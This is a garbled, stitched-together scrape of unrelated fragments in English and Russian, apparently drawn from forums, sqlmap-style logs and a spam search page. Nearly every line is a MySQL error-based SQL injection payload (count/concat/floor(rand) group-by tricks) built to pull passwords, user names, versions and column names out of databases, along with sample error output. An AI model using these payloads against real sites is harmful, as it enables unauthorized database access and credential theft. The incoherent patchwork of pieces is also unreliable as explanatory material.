1)>(select count(*),concat( (select users.password) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- Name_const(Mysql 5.0.12.
Count(*) of u0021_kinovdom.orders is 0 Can not get rows count, trying to get 10 rows Turning off
Для вашего поискового запроса SELECT 8258 FROM SELECT COUNT CONCAT 0x7170787a71 SELECT ELT 8258 8258 1 0x7170707871 FLOOR RAND 0 2 X FROM INFORMATION SCHEMA PLUGINS GROUP BY X A MP3 мы нашли 1000000 песни, соответствующие вашему запросу...
Similar Queries. Select. 5) Using GROUP BY and selecting an ambiguous column. The select Function.
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
...CONCAT(0x717a626a71,(SELECT (ELT(7104=7104,1))),0x7162626b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
EDIT After removing my silly mistake of INTO (I was working with INSERTS and just keep going) the error below is showing. Still not working: …
Поиск текущего пользователя: 1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Версия MySQL
mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x; ERROR 1062 (23000): Duplicate entry '5.0.841'